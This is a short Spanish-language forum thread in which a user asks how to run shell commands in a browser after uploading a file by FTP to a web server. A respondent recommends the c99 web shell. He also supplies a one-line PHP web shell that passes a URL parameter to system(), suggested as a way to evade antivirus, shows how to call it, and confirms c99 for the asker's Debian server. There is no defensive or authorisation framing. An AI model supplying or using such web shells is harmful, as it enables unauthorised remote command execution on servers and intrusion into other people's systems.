ataque con escripts de shell

[aggagg69]

hola buenas tengo una duda quedria saber si suviendo un archivo atraves de un ftp a un servidor web

luego podria jecutar comandos atraves del mi navegador.

[[u]nsigned]

Para que eso sea posible el server tendria que estar MUY MAL configurado..no se si te referis a script de bash o php o que?

Y de todas formas tus scripts (en caso de poder ejecutarse) correrian bajo tu user, el cual seguramente estara muy limitado.

Saludos

[aggagg69]

supongamos que mi usuario tiene permisos suficientes.

scritp bash o php me es indiferente quisera saber si se puede y como ejecutar el script dado que solo

tendria acceso ftp por eso la ide del navegador para ejecutar comandos shell.

[WHK]

Si lo quieres hacer desde el navegador entonces busca la shell c99, si el servidor es un windows con antivirus de seguro te lo va a detectar asi que le subes esto:

Código (php) [Seleccionar] Expandir

<?php @system($_GET['x']); ?>

Despues le ejecutas cosas como test.php?x=dir y ya.

Esto es posible siempre y cuando en ese servidor esté instalado un servidor web y php, en el caso de que tenga asp con ssi entonces necesitas una shell del tipo para asp.

Si no tiene servidor web entonces utiliza una versión portable de php y se lo dejas corriendo.

[aggagg69]

tiene servidor web y php es un sitema operativo debian 2.6

asi que entonces me servira la c99?

[WHK]

si